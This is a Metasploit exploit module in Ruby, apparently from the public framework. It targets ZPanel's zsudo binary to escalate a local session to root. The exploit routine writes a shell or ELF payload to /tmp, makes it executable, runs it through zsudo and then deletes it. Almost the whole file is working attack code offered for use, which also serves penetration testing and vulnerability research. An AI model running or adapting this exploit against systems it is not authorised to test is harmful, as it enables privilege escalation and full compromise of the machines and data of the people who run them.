## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File def initialize(info = {}) super( update_info( info, { 'Name' => 'ZPanel zsudo Local Privilege Escalation Exploit', 'Description' => %q{ This module abuses the zsudo binary, installed with zpanel, to escalate privileges. In order to work, a session with access to zsudo on the sudoers configuration is needed. This module is useful for post exploitation of ZPanel vulnerabilities, where typically web server privileges are acquired, and this user is allowed to execute zsudo on the sudoers file. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r', 'juan vazquez' ], 'DisclosureDate' => '2013-06-07', 'Platform' => %w{linux unix}, 'Arch' => [ ARCH_CMD, ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Command payload', { 'Arch' => ARCH_CMD } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2013-10052' ] ], 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS }, } ) ) register_options [ OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]) ] register_advanced_options [ OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]) ] end def check if file?(datastore["zsudo"]) return CheckCode::Detected end return CheckCode::Safe end def exploit if (target.arch.include? ARCH_CMD) exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.sh" # Using this way of writing the payload to avoid issues when failing to find # a command on the victim for writing binary data cmd_exec "echo \"#{payload.encoded.gsub(/"/, "\\\"")}\" > #{exe_file}" else exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf" write_file(exe_file, generate_payload_exe) end cmd_exec "chmod +x #{exe_file}" print_status("Running...") begin cmd_exec "#{datastore["zsudo"]} #{exe_file} #{rand_text_alpha(3 + rand(5))}" ensure cmd_exec "rm -f #{exe_file}" end end end